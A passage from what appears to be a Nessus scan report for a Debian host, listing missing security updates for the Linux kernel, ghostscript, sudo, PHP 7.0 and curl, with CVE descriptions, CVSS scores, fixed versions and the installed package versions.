- CVE-2018-20856 Xiao Jin reported a potential double-free in the block subsystem, in case an error occurs while initialising the I/O scheduler for a block device. It is not clear how this might be exploited.

- CVE-2019-1125 It was discovered that most x86 processors could speculatively skip a conditional SWAPGS instruction used when entering the kernel from user mode, and/or could speculatively execute it when it should be skipped. This is a subtype of Spectre variant 1, which could allow local users to obtain sensitive information from the kernel or other processes. It has been mitigated by using memory barriers to limit speculative execution.
Systems using an i386 kernel are not affected as the kernel does not use SWAPGS.

- CVE-2019-3882 It was found that the vfio implementation did not limit the number of DMA mappings to device memory. A local user granted ownership of a vfio device could use this to cause a denial of service (out-of-memory condition).

- CVE-2019-3900 It was discovered that vhost drivers did not properly control the amount of work done to service requests from guest VMs. A malicious guest could use this to cause a denial-of-service (unbounded CPU usage) on the host.

- CVE-2019-10207 The syzkaller tool found a potential null dereference in various drivers for UART-attached Bluetooth adapters. A local user with access to a pty device or other suitable tty device could use this for denial-of-service (BUG/oops).

- CVE-2019-10638 Amit Klein and Benny Pinkas discovered that the generation of IP packet IDs used a weak hash function, 'jhash'. This could enable tracking individual computers as they communicate with different remote servers and from different networks. The 'siphash' function is now used instead.

- CVE-2019-10639 Amit Klein and Benny Pinkas discovered that the generation of IP packet IDs used a weak hash function that incorporated a kernel virtual address. This hash function is no longer used for IP IDs, although it is still used for other purposes in the network stack.

- CVE-2019-13631 It was discovered that the gtco driver for USB input tablets could overrun a stack buffer with constant data while parsing the device's descriptor. A physically present user with a specially constructed USB device could use this to cause a denial-of-service (BUG/oops), or possibly for privilege escalation.

- CVE-2019-13648 Praveen Pandey reported that on PowerPC (ppc64el) systems without Transactional Memory (TM), the kernel would still attempt to restore TM state passed to the sigreturn() system call. A local user could use this for denial-of-service (oops).

- CVE-2019-14283 The syzkaller tool found a missing bounds check in the floppy disk driver. A local user with access to a floppy disk device, with a disk present, could use this to read kernel memory beyond the I/O buffer, possibly obtaining sensitive information.

- CVE-2019-14284 The syzkaller tool found a potential division-by-zero in the floppy disk driver. A local user with access to a floppy disk device could use this for denial-of-service (oops).

- CVE-2019-15239 Denis Andzakovic reported a possible use-after-free in the TCP sockets implementation. A local user could use this for denial-of-service (memory corruption or crash) or possibly for privilege escalation.

- (CVE ID not yet assigned)

The netfilter conntrack subsystem used kernel addresses as user-visible IDs, which could make it easier to exploit other security vulnerabilities.

- XSA-300

Julien Grall reported that Linux does not limit the amount of memory which a domain will attempt to balloon out, nor limits the amount of 'foreign / grant map' memory which any individual guest can consume, leading to denial of service conditions (for host or guests).

See Also

https://security-tracker.debian.org/tracker/CVE-2015-8553
https://security-tracker.debian.org/tracker/CVE-2015-2150
https://security-tracker.debian.org/tracker/CVE-2017-18509
https://security-tracker.debian.org/tracker/CVE-2018-5995
https://security-tracker.debian.org/tracker/CVE-2018-20836
https://security-tracker.debian.org/tracker/CVE-2018-20856
https://security-tracker.debian.org/tracker/CVE-2019-1125
https://security-tracker.debian.org/tracker/CVE-2019-3882
https://security-tracker.debian.org/tracker/CVE-2019-3900
https://security-tracker.debian.org/tracker/CVE-2019-10207
https://security-tracker.debian.org/tracker/CVE-2019-10638
https://security-tracker.debian.org/tracker/CVE-2019-10639
https://security-tracker.debian.org/tracker/CVE-2019-13631
https://security-tracker.debian.org/tracker/CVE-2019-13648
https://security-tracker.debian.org/tracker/CVE-2019-14283
https://security-tracker.debian.org/tracker/CVE-2019-14284
https://security-tracker.debian.org/tracker/CVE-2019-15239
https://security-tracker.debian.org/tracker/source-package/linux
https://packages.debian.org/source/stretch/linux
https://packages.debian.org/source/buster/linux
https://www.debian.org/security/2019/dsa-4497

Solution

Upgrade the linux packages.

For the oldstable distribution (stretch), these problems have been fixed in version 4.9.168-1+deb9u5.

For the stable distribution (buster), these problems were mostly fixed in version 4.19.37-5+deb10u2 or earlier.

Risk Factor

High

CVSS v3.0 Base Score

8.1 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.3 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

7.3 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2015-8553
CVE	CVE-2017-18509
CVE	CVE-2018-20836
CVE	CVE-2018-20856
CVE	CVE-2018-5995
CVE	CVE-2019-10207
CVE	CVE-2019-10638
CVE	CVE-2019-10639

CVE	CVE-2019-1125
CVE	CVE-2019-13631
CVE	CVE-2019-13648
CVE	CVE-2019-14283
CVE	CVE-2019-14284
CVE	CVE-2019-15239
CVE	CVE-2019-3882
CVE	CVE-2019-3900
XREF	DSA:4497
XREF	CEA-ID:CEA-2021-0025

Plugin Information

Published: 2019/08/14, Modified: 2024/05/03

Plugin Output

tcp/0

```
Remote package installed : linux-image-4.9.0-8-amd64_4.9.144-3.1
Should be : linux-image-4.9.0-<ANY>-amd64_4.9.168-1+deb9u5

Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

128560 - Debian DSA-4518-1 : ghostscript - security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

It was discovered that various procedures in Ghostscript, the GPL PostScript/PDF interpreter, do not properly restrict privileged calls, which could result in bypass of file system restrictions of the dSAFER sandbox.

See Also

https://security-tracker.debian.org/tracker/source-package/ghostscript
https://packages.debian.org/source/stretch/ghostscript
https://packages.debian.org/source/buster/ghostscript
https://www.debian.org/security/2019/dsa-4518

Solution

Upgrade the ghostscript packages.

For the oldstable distribution (stretch), these problems have been fixed in version 9.26a~dfsg-0+deb9u5.

For the stable distribution (buster), these problems have been fixed in version 9.27~dfsg-2+deb10u2.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.4 (CVSS:3.0/E:H/RL:O/RC:C)

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

6.5 (CVSS2#E:H/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2019-14811
CVE	CVE-2019-14812
CVE	CVE-2019-14813
CVE	CVE-2019-14817
XREF	DSA:4518
XREF	IAVB:2019-B-0081-S

Plugin Information

Published: 2019/09/09, Modified: 2024/04/26

Plugin Output

tcp/0

```
Remote package installed : ghostscript_9.26a~dfsg-0+deb9u2
Should be : ghostscript_9.26a~dfsg-0+deb9u5
Remote package installed : libgs9_9.26a~dfsg-0+deb9u2
Should be : libgs9_9.26a~dfsg-0+deb9u5
Remote package installed : libgs9-common_9.26a~dfsg-0+deb9u2
Should be : libgs9-common_9.26a~dfsg-0+deb9u5
```

129306 - Debian DSA-4531-1 : linux - security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

Several vulnerabilities have been discovered in the Linux kernel that may lead to a privilege escalation, denial of service or information leaks.

- CVE-2019-14821 Matt Delco reported a race condition in KVM's coalesced MMIO facility, which could lead to out-of-bounds access in the kernel. A local attacker permitted to access /dev/kvm could use this to cause a denial of service (memory corruption or crash) or possibly for privilege escalation.

- CVE-2019-14835 Peter Pi of Tencent Blade Team discovered a missing bounds check in vhost_net, the network back-end driver for KVM hosts, leading to a buffer overflow when the host begins live migration of a VM. An attacker in control of a VM could use this to cause a denial of service (memory corruption or crash) or possibly for privilege escalation on the host.

- CVE-2019-15117 Hui Peng and Mathias Payer reported a missing bounds check in the usb-audio driver's descriptor parsing code, leading to a buffer over-read. An attacker able to add USB devices could possibly use this to cause a denial of service (crash).

- CVE-2019-15118 Hui Peng and Mathias Payer reported unbounded recursion in the usb-audio driver's descriptor parsing code, leading to a stack overflow. An attacker able to add USB devices could use this to cause a denial of service (memory corruption or crash) or possibly for privilege escalation. On the amd64 architecture, and on the arm64 architecture in buster, this is mitigated by a guard page on the kernel stack, so that it is only possible to cause a crash.

- CVE-2019-15902 Brad Spengler reported that a backporting error reintroduced a spectre-v1 vulnerability in the ptrace subsystem in the ptrace_get_debugreg() function.

See Also

https://security-tracker.debian.org/tracker/CVE-2019-14821
https://security-tracker.debian.org/tracker/CVE-2019-14835
https://security-tracker.debian.org/tracker/CVE-2019-15117
https://security-tracker.debian.org/tracker/CVE-2019-15118
https://security-tracker.debian.org/tracker/CVE-2019-15902
https://security-tracker.debian.org/tracker/source-package/linux
https://packages.debian.org/source/stretch/linux
https://packages.debian.org/source/buster/linux
https://www.debian.org/security/2019/dsa-4531

Solution

Upgrade the linux packages.

For the oldstable distribution (stretch), these problems have been fixed in version 4.9.189-3+deb9u1.

For the stable distribution (buster), these problems have been fixed in version 4.19.67-2+deb10u1.

Risk Factor

High

CVSS v3.0 Base Score

8.8 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.9 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

5.6 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2019-14821
CVE	CVE-2019-14835
CVE	CVE-2019-15117
CVE	CVE-2019-15118
CVE	CVE-2019-15902
XREF	DSA:4531

Plugin Information

Published: 2019/09/25, Modified: 2024/04/23

Plugin Output

tcp/0

```
Remote package installed : linux-image-4.9.0-8-amd64_4.9.144-3.1
Should be : linux-image-4.9.0-<ANY>-amd64_4.9.189-3+deb9u1

Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

129856 - Debian DSA-4543-1 : sudo - security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

Joe Vennix discovered that sudo, a program designed to provide limited super user privileges to specific users, when configured to allow a user to run commands as an arbitrary user via the ALL keyword in a Runas specification, allows to run commands as root by specifying the user ID -1 or 4294967295. This could allow a user with sufficient sudo privileges to run commands as root even if the Runas specification explicitly disallows root access.

Details can be found in the upstream advisory at https://www.sudo.ws/alerts/minus_1_uid.html .

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=942322
https://www.sudo.ws/alerts/minus_1_uid.html
https://security-tracker.debian.org/tracker/source-package/sudo
https://packages.debian.org/source/stretch/sudo
https://packages.debian.org/source/buster/sudo
https://www.debian.org/security/2019/dsa-4543

Solution

Upgrade the sudo packages.

For the oldstable distribution (stretch), this problem has been fixed in version 1.8.19p1-2.1+deb9u1.

For the stable distribution (buster), this problem has been fixed in version 1.8.27-1+deb10u1.

Risk Factor

High

CVSS v3.0 Base Score

8.8 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.2 (CVSS:3.0/E:F/RL:O/RC:C)

CVSS v2.0 Base Score

9.0 (CVSS2#AV:N/AC:L/Au:S/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

7.4 (CVSS2#E:F/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2019-14287
XREF	DSA:4543
XREF	IAVA:2019-A-0378-S

Exploitable With

Core Impact (true)

Plugin Information

Published: 2019/10/15, Modified: 2023/01/23

Plugin Output

tcp/0

```
Remote package installed : sudo_1.8.19p1-2.1
Should be : sudo_1.8.19p1-2.1+deb9u1
```

130349 - Debian DSA-4552-1 : php7.0 - security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

Emil Lerner and Andrew Danau discovered that insufficient validation in the path handling code of PHP FPM could result in the execution of arbitrary code in some setups.

See Also

https://security-tracker.debian.org/tracker/source-package/php7.0
https://packages.debian.org/source/stretch/php7.0
https://www.debian.org/security/2019/dsa-4552

Solution

Upgrade the php7.0 packages.

For the oldstable distribution (stretch), this problem has been fixed in version 7.0.33-0+deb9u6.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.4 (CVSS:3.0/E:H/RL:O/RC:C)

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

6.5 (CVSS2#E:H/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2019-11043
XREF	DSA:4552
XREF	IAVA:2019-A-0399-S
XREF	CISA-KNOWN-EXPLOITED:2022/04/15
XREF	CEA-ID:CEA-2019-0695

Exploitable With

Metasploit (true)

Plugin Information

Published: 2019/10/29, Modified: 2022/12/06

Plugin Output

tcp/0

```
Remote package installed : libapache2-mod-php7.0_7.0.33-0+deb9u3
Should be : libapache2-mod-php7.0_7.0.33-0+deb9u6
Remote package installed : php7.0_7.0.33-0+deb9u3
Should be : php7.0_7.0.33-0+deb9u6
Remote package installed : php7.0-cli_7.0.33-0+deb9u3
Should be : php7.0-cli_7.0.33-0+deb9u6
Remote package installed : php7.0-common_7.0.33-0+deb9u3
Should be : php7.0-common_7.0.33-0+deb9u6
Remote package installed : php7.0-curl_7.0.33-0+deb9u3
Should be : php7.0-curl_7.0.33-0+deb9u6
Remote package installed : php7.0-gd_7.0.33-0+deb9u3
Should be : php7.0-gd_7.0.33-0+deb9u6
Remote package installed : php7.0-json_7.0.33-0+deb9u3
Should be : php7.0-json_7.0.33-0+deb9u6
Remote package installed : php7.0-mysql_7.0.33-0+deb9u3
Should be : php7.0-mysql_7.0.33-0+deb9u6
Remote package installed : php7.0-opcache_7.0.33-0+deb9u3
Should be : php7.0-opcache_7.0.33-0+deb9u6
Remote package installed : php7.0-readline_7.0.33-0+deb9u3
Should be : php7.0-readline_7.0.33-0+deb9u6
Remote package installed : php7.0-xml_7.0.33-0+deb9u3
Should be : php7.0-xml_7.0.33-0+deb9u6
```

130982 - Debian DSA-4564-1 : linux - security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

Several vulnerabilities have been discovered in the Linux kernel that may lead to a privilege escalation, denial of service, or information leak.

- CVE-2018-12207 It was discovered that on Intel CPUs supporting hardware virtualisation with Extended Page Tables (EPT), a guest VM may manipulate the memory management hardware to cause a Machine Check Error (MCE) and denial of service (hang or crash).

The guest triggers this error by changing page tables without a TLB flush, so that both 4 KB and 2 MB entries for the same virtual address are loaded into the instruction TLB (iTLB). This update implements a mitigation in KVM that prevents guest VMs from loading 2 MB entries into the iTLB. This will reduce performance of guest VMs.

Further information on the mitigation can be found at or in the linux-doc-4.9 or linux-doc-4.19 package.

A qemu update adding support for the PSCHANGE_MC_NO feature, which allows to disable iTLB Multihit mitigations in nested hypervisors will be provided via DSA 4566-1.

Intel's explanation of the issue can be found at.

- CVE-2019-0154 Intel discovered that on their 8th and 9th generation GPUs, reading certain registers while the GPU is in a low-power state can cause a system hang. A local user permitted to use the GPU can use this for denial of service.

This update mitigates the issue through changes to the i915 driver.

The affected chips (gen8 and gen9) are listed at.

- CVE-2019-0155 Intel discovered that their 9th generation and newer GPUs are missing a security check in the Blitter Command Streamer (BCS). A local user permitted to use the GPU could use this to access any memory that the GPU has access to, which could result in a denial of service (memory corruption or crash), a leak of sensitive information, or privilege escalation.

This update mitigates the issue by adding the security check to the i915 driver.

The affected chips (gen9 onward) are listed at.

- CVE-2019-11135 It was discovered that on Intel CPUs supporting transactional memory (TSX), a transaction that is going to be aborted may continue to execute speculatively, reading sensitive data from internal buffers and leaking it through dependent operations. Intel calls this 'TSX Asynchronous Abort' (TAA).

For CPUs affected by the previously published Microarchitectural Data Sampling (MDS) issues (CVE-2018-12126, CVE-2018-12127, CVE-2018-12130, CVE-2019-11091), the existing mitigation also mitigates this issue.

For processors that are vulnerable to TAA but not MDS, this update disables TSX by default. This mitigation requires updated CPU microcode. An updated intel-microcode package (only available in Debian non-free) will be provided via DSA 4565-1. The updated CPU microcode may also be available as part of a system firmware ('BIOS') update.

Further information on the mitigation can be found at or in the linux-doc-4.9 or linux-doc-4.19 package.

Intel's explanation of the issue can be found at.

See Also

https://security-tracker.debian.org/tracker/CVE-2018-12207
https://security-tracker.debian.org/tracker/CVE-2019-0154
https://security-tracker.debian.org/tracker/CVE-2019-0155
https://security-tracker.debian.org/tracker/CVE-2019-11135
https://security-tracker.debian.org/tracker/CVE-2018-12126
https://security-tracker.debian.org/tracker/CVE-2018-12127
https://security-tracker.debian.org/tracker/CVE-2018-12130
https://security-tracker.debian.org/tracker/CVE-2019-11091
https://security-tracker.debian.org/tracker/source-package/linux
https://packages.debian.org/source/stretch/linux
https://packages.debian.org/source/buster/linux
https://www.debian.org/security/2019/dsa-4564

Solution

Upgrade the linux packages.

For the oldstable distribution (stretch), these problems have been fixed in version 4.9.189-3+deb9u2.

For the stable distribution (buster), these problems have been fixed in version 4.19.67-2+deb10u2.

Risk Factor

High

CVSS v3.0 Base Score

7.8 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

6.8 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

5.3 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2018-12207
CVE	CVE-2019-0154
CVE	CVE-2019-0155
CVE	CVE-2019-11135
XREF	DSA:4564

Plugin Information

Published: 2019/11/14, Modified: 2024/04/11

Plugin Output

tcp/0

```
Remote package installed : linux-image-4.9.0-8-amd64_4.9.144-3.1
```

```
Should be : linux-image-4.9.0-<ANY>-amd64_4.9.189-3+deb9u2

Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

133968 - Debian DSA-4633-1 : curl - security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

Multiple vulnerabilities were discovered in cURL, an URL transfer library.

- CVE-2019-5436 A heap buffer overflow in the TFTP receiving code was discovered, which could allow DoS or arbitrary code execution. This only affects the oldstable distribution (stretch).

- CVE-2019-5481 Thomas Vegas discovered a double-free in the FTP-KRB code, triggered by a malicious server sending a very large data block.

- CVE-2019-5482 Thomas Vegas discovered a heap buffer overflow that could be triggered when a small non-default TFTP blocksize is used.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=929351
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=940009
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=940010
https://security-tracker.debian.org/tracker/CVE-2019-5436
https://security-tracker.debian.org/tracker/CVE-2019-5481
https://security-tracker.debian.org/tracker/CVE-2019-5482
https://security-tracker.debian.org/tracker/source-package/curl
https://packages.debian.org/source/stretch/curl
https://packages.debian.org/source/buster/curl
https://www.debian.org/security/2020/dsa-4633

Solution

Upgrade the curl packages.

For the oldstable distribution (stretch), these problems have been fixed in version 7.52.1-5+deb9u10.

For the stable distribution (buster), these problems have been fixed in version 7.64.0-4+deb10u1.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.8 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.9 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2019-5436
CVE	CVE-2019-5481
CVE	CVE-2019-5482
XREF	DSA:4633

Plugin Information

Published: 2020/02/25, Modified: 2024/03/26

Plugin Output

tcp/0

```
Remote package installed : curl_7.52.1-5+deb9u9
Should be : curl_7.52.1-5+deb9u10
Remote package installed : libcurl3_7.52.1-5+deb9u9
Should be : libcurl3_7.52.1-5+deb9u10
Remote package installed : libcurl3-gnutls_7.52.1-5+deb9u9
Should be : libcurl3-gnutls_7.52.1-5+deb9u10
```

137340 - Debian DSA-4698-1 : linux - security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

Several vulnerabilities have been discovered in the Linux kernel that may lead to a privilege escalation, denial of service or information leaks.

- CVE-2019-2182 Hanjun Guo and Lei Li reported a race condition in the arm64 virtual memory management code, which could lead to an information disclosure, denial of service (crash), or possibly privilege escalation.

- CVE-2019-5108 Mitchell Frank of Cisco discovered that when the IEEE 802.11 (WiFi) stack was used in AP mode with roaming, it would trigger roaming for a newly associated station before the station was authenticated. An attacker within range of the AP could use this to cause a denial of service, either by filling up a switching table or by redirecting traffic away from other stations.

- CVE-2019-19319 Jungyeon discovered that a crafted filesystem can cause the ext4 implementation to deallocate or reallocate journal blocks. A user permitted to mount filesystems could use this to cause a denial of service (crash), or possibly for privilege escalation.

- CVE-2019-19462 The syzbot tool found a missing error check in the 'relay' library used to implement various files under debugfs. A local user permitted to access debugfs could use this to cause a denial of service (crash) or possibly for privilege escalation.

- CVE-2019-19768 Tristan Madani reported a race condition in the blktrace debug facility that could result in a use-after-free. A local user able to trigger removal of block devices could possibly use this to cause a denial of service (crash) or for privilege escalation.

- CVE-2019-20806 A potential NULL pointer dereference was discovered in the tw5864 media driver. The security impact of this is unclear.

- CVE-2019-20811 The Hulk Robot tool found a reference-counting bug in an error path in the network subsystem. The security impact of this is unclear.

- CVE-2020-0543 Researchers at VU Amsterdam discovered that on some Intel CPUs supporting the RDRAND and RDSEED instructions, part of a random value generated by these instructions may be used in a later speculative execution on any core of the same physical CPU.
Depending on how these instructions are used by applications, a local user or VM guest could use this to obtain sensitive information such as cryptographic keys from other users or VMs.

This vulnerability can be mitigated by a microcode update, either as part of system firmware (BIOS) or through the intel-microcode package in Debian's non-free archive section. This kernel update only provides reporting of the vulnerability and the option to disable the mitigation if it is not needed.

- CVE-2020-2732 Paulo Bonzini discovered that the KVM implementation for Intel processors did not properly handle instruction emulation for L2 guests when nested virtualization is enabled. This could allow an L2 guest to cause privilege escalation, denial of service, or information leaks in the L1 guest.

- CVE-2020-8428 Al Viro discovered a potential use-after-free in the filesystem core (vfs). A local user could exploit this to cause a denial of service (crash) or possibly to obtain sensitive information from the kernel.

- CVE-2020-8647, CVE-2020-8649 The Hulk Robot tool found a potential MMIO out-of-bounds access in the vgacon driver. A local user permitted to access a virtual terminal (/dev/tty1 etc.) on a system using the vgacon driver could use this to cause a denial of service (crash or memory corruption) or possibly for privilege escalation.

- CVE-2020-8648 The syzbot tool found a race condition in the the virtual terminal driver, which could result in a use-after-free. A local user permitted to access a virtual terminal could use this to cause a denial of service (crash or memory corruption) or possibly for privilege escalation.

- CVE-2020-9383 Jordy Zomer reported an incorrect range check in the floppy driver which could lead to a static out-of-bounds access. A local user permitted to access a floppy drive could use this to cause a denial of service (crash or memory corruption) or possibly for privilege escalation.

- CVE-2020-10711 Matthew Sheets reported NULL pointer dereference issues in the SELinux subsystem while receiving CIPSO packet with null category. A remote attacker can take advantage of this flaw to cause a denial of service (crash). Note that this issue does not affect the binary packages distributed in Debian as CONFIG_NETLABEL is not enabled.

- CVE-2020-10732 An information leak of kernel private memory to userspace was found in the kernel's implementation of core dumping userspace processes.

- CVE-2020-10751 Dmitry Vyukov reported that the SELinux subsystem did not properly handle validating multiple messages, which could allow a privileged attacker to bypass SELinux netlink restrictions.

- CVE-2020-10757 Fan Yang reported a flaw in the way mremap handled DAX hugepages, allowing a local user to escalate their privileges

- CVE-2020-10942 It was discovered that the vhost_net driver did not properly validate the type of sockets set as back-ends.

A local user permitted to access /dev/vhost-net could use this to cause a stack corruption via crafted system calls, resulting in denial of service (crash) or possibly privilege escalation.

- CVE-2020-11494 It was discovered that the slcan (serial line CAN) network driver did not fully initialise CAN headers for received packets, resulting in an information leak from the kernel to user-space or over the CAN network.

- CVE-2020-11565 Entropy Moe reported that the shared memory filesystem (tmpfs) did not correctly handle an 'mpol' mount option specifying an empty node list, leading to a stack-based out-of-bounds write. If user namespaces are enabled, a local user could use this to cause a denial of service (crash) or possibly for privilege escalation.

- CVE-2020-11608, CVE-2020-11609, CVE-2020-11668 It was discovered that the ov519, stv06xx, and xirlink_cit media drivers did not properly validate USB device descriptors. A physically present user with a specially constructed USB device could use this to cause a denial-of-service (crash) or possibly for privilege escalation.

- CVE-2020-12114 Piotr Krysiuk discovered a race condition between the umount and pivot_root operations in the filesystem core (vfs). A local user with the CAP_SYS_ADMIN capability in any user namespace could use this to cause a denial of service (crash).

- CVE-2020-12464 Kyungtae Kim reported a race condition in the USB core that can result in a use-after-free. It is not clear how this can be exploited, but it could result in a denial of service (crash or memory corruption) or privilege escalation.

- CVE-2020-12652 Tom Hatskevich reported a bug in the mptfusion storage drivers. An ioctl handler fetched a parameter from user memory twice, creating a race condition which could result in incorrect locking of internal data structures.
A local user permitted to access /dev/mptctl could use this to cause a denial of service (crash or memory corruption) or for privilege escalation.

- CVE-2020-12653 It was discovered that the mwifiex WiFi driver did not sufficiently validate scan requests, resulting a potential heap buffer overflow. A local user with CAP_NET_ADMIN capability could use this to cause a denial of service (crash or memory corruption) or possibly for privilege escalation.

- CVE-2020-12654 It was discovered that the mwifiex WiFi driver did not sufficiently validate WMM parameters received from an access point (AP), resulting a potential heap buffer overflow. A malicious AP could use this to cause a denial of service (crash or memory corruption) or possibly to execute code on a vulnerable system.

- CVE-2020-12770 It was discovered that the sg (SCSI generic) driver did not correctly release internal resources in a particular error case. A local user permitted to access an sg device could possibly use this to cause a denial of service (resource exhaustion).

- CVE-2020-13143 Kyungtae Kim reported a potential heap out-of-bounds write in the USB gadget subsystem. A local user permitted to write to the gadget configuration filesystem could use this to cause a denial of service (crash or memory corruption) or potentially for privilege escalation.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=952660
https://security-tracker.debian.org/tracker/CVE-2019-2182
https://security-tracker.debian.org/tracker/CVE-2019-5108
https://security-tracker.debian.org/tracker/CVE-2019-19319
https://security-tracker.debian.org/tracker/CVE-2019-19462
https://security-tracker.debian.org/tracker/CVE-2019-19768
https://security-tracker.debian.org/tracker/CVE-2019-20806
https://security-tracker.debian.org/tracker/CVE-2019-20811
https://security-tracker.debian.org/tracker/CVE-2020-0543
https://security-tracker.debian.org/tracker/CVE-2020-2732
https://security-tracker.debian.org/tracker/CVE-2020-8428
https://security-tracker.debian.org/tracker/CVE-2020-8647
https://security-tracker.debian.org/tracker/CVE-2020-8649
https://security-tracker.debian.org/tracker/CVE-2020-8648
https://security-tracker.debian.org/tracker/CVE-2020-9383
https://security-tracker.debian.org/tracker/CVE-2020-10711
https://security-tracker.debian.org/tracker/CVE-2020-10732
https://security-tracker.debian.org/tracker/CVE-2020-10751
https://security-tracker.debian.org/tracker/CVE-2020-10757
https://security-tracker.debian.org/tracker/CVE-2020-10942
https://security-tracker.debian.org/tracker/CVE-2020-11494
https://security-tracker.debian.org/tracker/CVE-2020-11565
https://security-tracker.debian.org/tracker/CVE-2020-11608
https://security-tracker.debian.org/tracker/CVE-2020-11609
https://security-tracker.debian.org/tracker/CVE-2020-11668
https://security-tracker.debian.org/tracker/CVE-2020-12114
https://security-tracker.debian.org/tracker/CVE-2020-12464
https://security-tracker.debian.org/tracker/CVE-2020-12652
https://security-tracker.debian.org/tracker/CVE-2020-12653
https://security-tracker.debian.org/tracker/CVE-2020-12654
https://security-tracker.debian.org/tracker/CVE-2020-12770
https://security-tracker.debian.org/tracker/CVE-2020-13143
https://security-tracker.debian.org/tracker/source-package/linux
https://packages.debian.org/source/stretch/linux
https://www.debian.org/security/2020/dsa-4698

Solution

Upgrade the linux packages.

For the oldstable distribution (stretch), these problems have been fixed in version 4.9.210-1+deb9u1. This version also fixes some related bugs that do not have their own CVE IDs, and a regression in the macvlan driver introduced in the previous point release (bug #952660).

Risk Factor

High

CVSS v3.0 Base Score

7.8 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.0 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

5.6 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2019-19319
CVE	CVE-2019-19462
CVE	CVE-2019-19768
CVE	CVE-2019-20806
CVE	CVE-2019-20811
CVE	CVE-2019-2182
CVE	CVE-2019-5108
CVE	CVE-2020-0543
CVE	CVE-2020-10711
CVE	CVE-2020-10732
CVE	CVE-2020-10751
CVE	CVE-2020-10757
CVE	CVE-2020-10942
CVE	CVE-2020-11494
CVE	CVE-2020-11565
CVE	CVE-2020-11608
CVE	CVE-2020-11609
CVE	CVE-2020-11668
CVE	CVE-2020-12114
CVE	CVE-2020-12464
CVE	CVE-2020-12652
CVE	CVE-2020-12653
CVE	CVE-2020-12654
CVE	CVE-2020-12770
CVE	CVE-2020-13143
CVE	CVE-2020-2732
CVE	CVE-2020-8428
CVE	CVE-2020-8647
CVE	CVE-2020-8648
CVE	CVE-2020-8649
CVE	CVE-2020-9383
XREF	DSA:4698

Plugin Information

Published: 2020/06/11, Modified: 2024/03/07

Plugin Output

tcp/0

```
Remote package installed : linux-image-4.9.0-8-amd64_4.9.144-3.1
Should be : linux-image-4.9.0-<ANY>-amd64_4.9.210-1+deb9u1

Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

138104 - Debian DSA-4715-1 : imagemagick - security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

